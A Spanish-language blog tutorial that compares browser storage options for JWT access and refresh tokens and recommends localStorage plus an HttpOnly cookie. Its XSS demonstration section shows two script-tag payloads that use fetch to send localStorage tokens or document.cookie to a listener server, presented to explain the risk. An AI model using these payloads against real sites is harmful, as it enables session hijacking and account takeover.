Es bastante habitual encontrarnos proyectos en los que tenemos por una parte un API y, por otra, un frontend separado. ¿Pero donde entran los tokens JWT en todo esto? Normalmente la comunicación entre estos dos elementos se realiza por HTTP, usando REST o similares. Y aunque puede haber endpoints públicos, muchos de ellos requieren de un usuario autenticado para poder acceder a ellos.
Lo más habitual en estos casos es autenticarse mediante el envío de tokens entre el cliente y el servidor. Un sistema bastante habitual es el ya conocido JWT: JSON Web Tokens. No vamos a entrar en profundidad en este tema, pero si quieres más información sobre qué son y cómo se usan, puedes leer este post.
Veamos un ejemplo del workflow con JWT.
Workflow habitual usando Tokens JWT
1. Obtención de los tokens
El primer paso es obtener los tokens, para ello realizaremos una request al endpoint de autorización con nuestro usuario y contraseña (siempre bajo HTTPS)
Request solicitando los tokens:
POST /api/auth HTTP/1.1
Content-Type: application/json
{
"email": "us**@ex*****.com",
"password": "pa55w0rd"
}
Response incluyendo los tokens:
201 Created
Set-Cookie: refresh_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVd5VVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA; HttpOnly; Secure; SameSite=None; Path=/; Max-Age=2592000
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
}
2. Incluir access_token
en las requests privadas
A partir de este momento, todas las requests que hagamos a un endpoint privado deben de incluir el access_token
en la cabecera Authorization
, de esta manera:
GET /api/users/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Content-Type: application/json
3. Renovar el access_token
cuando expire
Por norma general, la vida de un access_token
es relativamente corta (unos pocos minutos), por lo que es necesario renovarlo o refrescarlo cada vez que expire.
Para ello incluimos en la petición el access_token
expirado en la cabecera y el refresh_token
, comprobamos que el access_token
ha expirado y que el refresh_token
es válido y emitimos un nuevo access_token
:
POST /api/auth/refresh HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Content-Type: application/json
{
"refresh_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVd5VVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA"
}
⚠️ Importante: Siempre que generamos un nuevo
access_token
, elrefresh_token
se tiene que renovar también para favorecer la rotación, tal y como se recomienda en el RFC9700.
Almacenaje seguro de los tokens en el frontend
Como hemos visto en el workflow anterior, a partir del primer paso vamos a tener que almacenar de alguna forma en nuestro frontend los tokens obtenidos, ya que los necesitamos para mantener la sesión activa y hacer peticiones a endpoints privados.
¿Qué opciones tenemos?
Opción 1: Session Storage
SessionStorage es una API de almacenamiento en el navegador que permite guardar datos clave-valor de manera temporal, es decir, los datos solo persisten mientras la pestaña o ventana del navegador esté abierta. Una vez que el usuario cierra la pestaña, toda la información almacenada en SessionStorage se elimina automáticamente.
✅ Mayor seguridad contra XSS: A diferencia de LocalStorage, los tokens no persisten después de cerrar la pestaña, reduciendo el tiempo de exposición en caso de un ataque XSS.
✅ Fácil implementación: Se accede fácilmente con sessionStorage.setItem()
y sessionStorage.getItem()
, sin necesidad de configuraciones adicionales.
❌ Vulnerabilidad a XSS: Aunque es más seguro que LocalStorage, el token sigue siendo accesible desde JavaScript, lo que lo hace susceptible a ataques XSS si la aplicación no está protegida adecuadamente.
❌ No funciona entre pestañas: Si el usuario abre una nueva pestaña, tendrá que autenticarse nuevamente, lo que puede afectar la experiencia de usuario.
Opción 2: Local Storage
LocalStorage es una API de almacenamiento en el navegador que permite guardar datos clave-valor de manera persistente, es decir, los datos permanecen incluso si el usuario cierra y vuelve a abrir el navegador.
✅ Persistencia: Los datos se mantienen entre sesiones, lo que permite a los usuarios permanecer autenticados incluso después de cerrar el navegador.
✅ Disponible en todas las pestañas: A diferencia de SessionStorage, el token puede ser utilizado en diferentes pestañas del navegador sin necesidad de autenticarse nuevamente.
✅ Fácil implementación: Se accede fácilmente con localStorage.setItem()
y localStorage.getItem()
, sin necesidad de configuraciones adicionales.
❌ Alta vulnerabilidad a XSS: Como LocalStorage es accesible desde JavaScript, si un atacante inyecta código malicioso en la aplicación, puede extraer el token y comprometer la cuenta del usuario.
Opción 3: Cookies
Las archiconocidas cookies son pequeños archivos de datos que los servidores web almacenan en el navegador del usuario para mantener información entre solicitudes HTTP. Son ampliamente utilizadas para la autenticación, almacenamiento de sesiones y preferencias del usuario.
Las cookies, aunque simples, pueden ser altamente configurables según su propósito, veamos algunos de sus parámetros más habituales:
Domain
: Define qué dominios pueden acceder a la cookie. Si se omite, solo el dominio que la estableció puede usarla. Si se establece un dominio de nivel superior (.example.com
), subdominios comoapp.example.com
también podrán acceder.Path
: Restringe la cookie a una ruta específica dentro del dominio. Ejemplo: SiPath=/admin
, la cookie solo se enviará cuando el usuario acceda a/admin
.HttpOnly
: Si está activada, la cookie no es accesible desde JavaScript, lo que protege contra ataques XSS. Solo el servidor puede leerla y modificarla.Expires
: Define una fecha exacta en la que la cookie expirará.Max-Age
: Define el tiempo en segundos antes de que la cookie expire.Secure
: La cookie solo se enviará en conexiones HTTPS. Evita que la información viaje sin cifrar en HTTP, protegiendo contra ataques de man in the middle (MITM).SameSite
: Controla si la cookie se enviará con solicitudes de otros sitios web. Ayuda a prevenir ataques CSRF (Cross-Site Request Forgery). Posibles valores:Strict
: La cookie solo se envía si la solicitud proviene del mismo sitio.Lax
(por defecto en muchos navegadores): Permite enviar la cookie en peticiones GET, pero bloquea su envío en peticiones como POST.None
: La cookie se enviará en todas las solicitudes, pero debe combinarse conSecure
.
Ventajas e inconvenientes de usar cookies:
✅ Mayor seguridad: Se pueden configurar con atributos como HttpOnly
(evita acceso desde JavaScript) y Secure
(solo se envían en HTTPS). Pero por contra, esta cookie no podrá ser utilizada para acceder al access_token
en cada request.
✅ Manejo automático: Los navegadores las envían automáticamente con cada solicitud al dominio correspondiente.
✅ Compatibilidad con SameSite
: Reduce el riesgo de ataques CSRF si se configura correctamente (SameSite=Strict
o SameSite=Lax
).
❌ Vulnerabilidad a ataques XSS: Si HttpOnly
no está habilitado y un atacante inyecta código malicioso.
❌ Restricciones de tamaño: Las cookies tienen un límite de almacenamiento (alrededor de 4 KB).
❌ Control en el frontend: No se pueden acceder directamente con JavaScript si HttpOnly
está activado, lo que complica ciertos flujos de autenticación.
Opción 4: Memory Storage
MemoryStorage no es una API específica del navegador como localStorage
o sessionStorage
sino más bien un enfoque en el que los datos se almacenan en variables de JavaScript durante la ejecución de la aplicación.
- Los datos solo existen mientras la página o la pestaña está abierta.
- No hay persistencia: si el usuario recarga la página o cierra el navegador, la información se pierde.
- Se almacena directamente en la memoria RAM, lo que lo hace más rápido que localStorage o sessionStorage.
✅ Más seguro contra XSS: Como los datos solo existen en la memoria, no pueden ser robados fácilmente por scripts maliciosos.
✅ Evita almacenamiento persistente: Ideal para access_token, ya que solo se necesita durante la sesión activa.
✅ Mejor rendimiento: Acceder a variables en memoria es más rápido que leer del almacenamiento del navegador.
❌ No persistente: Si el usuario recarga la página, el token se pierde, por lo que se debe usar junto con un refresh_token almacenado en cookies.
❌ Requiere gestión manual: No hay una API nativa, por lo que el manejo de estado depende de la implementación en la aplicación.
Demostración de un ataque XSS
Vamos a ver una serie de ejemplos en los que, considerando un escenario en el que tenemos una vulnerabilidad XSS en nuestra web, un posible atacante accede a nuestros tokens.
En el ejemplo, tenemos un parámetro de querystring name
que se utiliza directamente sin filtrar, por lo que cualquier código JS que le pasemos se ejecutará. Por motivos obvios, el snippet de código que le pasemos debe de estar codificado con URL Encoding para que no genere problemas al ejecutarse.
1. Robo de credenciales en localStorage/sessionStorage
En este ejemplo vamos a ver cómo un posible atacante, explotando una vulnerabilidad XSS, obtiene nuestros credenciales guardados en localStorage.
Para ello, vamos a usar el siguiente oneliner en JS:
<script>fetch("http://localhost:8888?access_token=" + localStorage.getItem('access_token') + "&refresh_token=" + localStorage.getItem('refresh_token'));</script>
Esto, básicamente, está haciendo una petición GET a un servidor (locahost:8888 en el ejemplo, en la vida real sería un servidor externo), con nuestros credenciales obtenidos desde localStorage.
Por la otra parte, tendremos un servidor HTTP recibiendo esa petición, y podremos ver en el querystring los credenciales robados.
2. Robo de credenciales en cookies
En este ejemplo vamos a ver cómo un posible atacante, explotando una vulnerabilidad XSS, obtiene nuestros credenciales guardados en nuestra cookies. Para este caso, las cookies no son HttpOnly con lo cual son accesibles desde JS.

Para ello, vamos a usar el siguiente oneliner en JS:
<script>fetch("http://localhost:8888?" + document.cookie);</script>
De nuevo, básicamente está haciendo una petición GET a un servidor (locahost:8888 en el ejemplo, en la vida real sería un servidor externo), con nuestros credenciales obtenidos desde las cookies. Esto es posible gracias a que las cookies no son HttpOnly.
Como antes, tendremos un servidor HTTP recibiendo esa petición, y podremos ver en el querystring los credenciales robados.
Por contra, si forzamos que las cookies sean HttpOnly, veremos que no son enviadas al servidor atacante (solo se envían las que no son HttpOnly):
La opción más segura: solución híbrida
¿Cuál es entonces la opción más segura? Como hemos visto antes, todas las opciones tienen sus pros y sus contras, pero nadie dijo que tengamos que ceñirnos a un único método de almacenamiento ;).
Recapitulemos un poco. Tenemos dos tokens que almacenar:
access_token
Este es el token que necesitaremos pasar al API para autenticar nuestras llamadas, por lo tanto requiere que sea accesible desde JS. Eso nos permite utilizar cualquiera de los 4 tipos de almacenamiento que hemos visto, pero:
- Si usamos sessionStorage o memoryStorage vamos a tener una navegación incomoda, ya que cuando cerremos la pestaña o abramos una nueva para ver otra sección, nos veremos obligados a volver a autenticarnos.
- Si usamos cookies, estas no pueden ser
HttpOnly
, porque no podríamos acceder al token para meterlo en la cabeceraAuthorization
.
Por otra parte, las cookies se envian en todas las solicitudes, incluido las que no necesitan autenticación, lo cual expone el token aún más. Esto a su vez nos expone a ataques CSRF (Cross-Site Request Forgery).
vUna configuración laxa delSameSite
expondría nuestros tokens, y una configuración demasiado restrictiva nos complicaría acceder a APIs en diferentes dominios.
A pesar de todo esto, son una opción válida, pero las cookies no tienen un API tan sencilla como la de sessionStorage o localStorage, por lo que… - Si usamos localStorage tenemos un API sencilla para acceder al
access_token
y podemos navegar tranquilamente sin perder la sesión. Seguimos teniendo el problema del XSS, pero podemos mitigar su impacto definiendo un tiempo de vida de unos pocos minutos para nuestro token.
No es una solución perfecta, pero es una solución lo suficientemente buena, porque el token realmente peligroso es elrefresh_token
, que tiene una vida mucho más larga y nos permite obtener cuantosaccess_token
queramos mientras esté activo.
refresh_token
Este token es el que podríamos considerar más peligroso. Como hemos dicho antes, el refresh_token
tiene una duración mucho más larga, del orden de días normalmente, y eso hace que debamos de protegerlo con más cuidado, ya que alguien con ese token podría obtener cuantos access_token
quisiera y llegar a causar un gran daño.
Este token no se va a usar más que para renovar la sesión, por lo que solo necesitamos enviarlo cuando se de ese caso. Por otra parte, no necesitamos manejarlo para incluirlo en una cabecera, ya que no hay cabecera específica para él (como en el caso de la cabecera Authorization
del access_token
).
Dadas estas características, almacenarlo en una cookie con HttpOnly
, Secure
, y SameSite=None
(o SameSite=Strict
si el API está en el mismo dominio), nos protege de la mayoría de peligros.
En resumen
Almacenar el access_token
en localStorage y el refresh_token
en una cookie segura es la mejor combinación para mantener a salvo nuestros tokens.
Workflow seguro usando JWT
1. Obtención de los tokens
El primer paso es obtener los tokens, para ello realizaremos una request al endpoint de autorización con nuestro usuario y contraseña. La diferencia respecto al flujo anterior es que esta vez, el refresh_token
vendrá en una cookie HttpOnly, Secure y que permita su envío cross-domain (esto es opcional si la API y el front están sobre el mismo dominio):
Request solicitando los tokens:
POST /api/auth HTTP/1.1
Content-Type: application/json
{
"email": "us**@ex*****.com",
"password": "pa55w0rd"
}
Response incluyendo los tokens:
201 Created
Set-Cookie: refresh_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVd5VVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA; HttpOnly; Secure; SameSite=None; Path=/; Max-Age=2592000
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
}
2. Incluir el access_token
en las requests privadas
Aquí no cambia nada, todas las requests que hagamos a un endpoint privado deben de incluir el access_token
en la cabecera Authorization
, de esta manera:
GET /api/users/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Content-Type: application/json
3. Renovar el access_token
cuando expire
Cuando toque renovar el access_token
, al igual que antes haremos una nueva petición para renovarlo, pero con un pequeño cambio: el refresh_token
irá en la cookie:
POST /api/auth/refresh HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Cookie: refresh_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVd5VVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA
Conclusión
No existe una solución perfecta para almacenar tokens JWT en el frontend, ya que cada enfoque tiene sus propias ventajas y riesgos. Sin embargo, tras analizar las distintas opciones, la estrategia más equilibrada en términos de seguridad y usabilidad es:
- Almacenar el
access_token
en localStorage para permitir su acceso desde el frontend y facilitar su uso en llamadas a la API. - Almacenar el
refresh_token
en una cookieHttpOnly
ySecure
para protegerlo contra ataques XSS y evitar su robo desde el navegador.
Esta solución combina lo mejor de ambos mundos: seguridad contra XSS (gracias a las cookies HttpOnly
) y facilidad de uso para la autenticación rápida con localStorage. Además, mitiga los riesgos de CSRF con la configuración adecuada de SameSite
.
En definitiva, no hay una única respuesta correcta, pero esta estrategia ofrece un buen equilibrio entre seguridad y funcionalidad para la mayoría de las aplicaciones web modernas.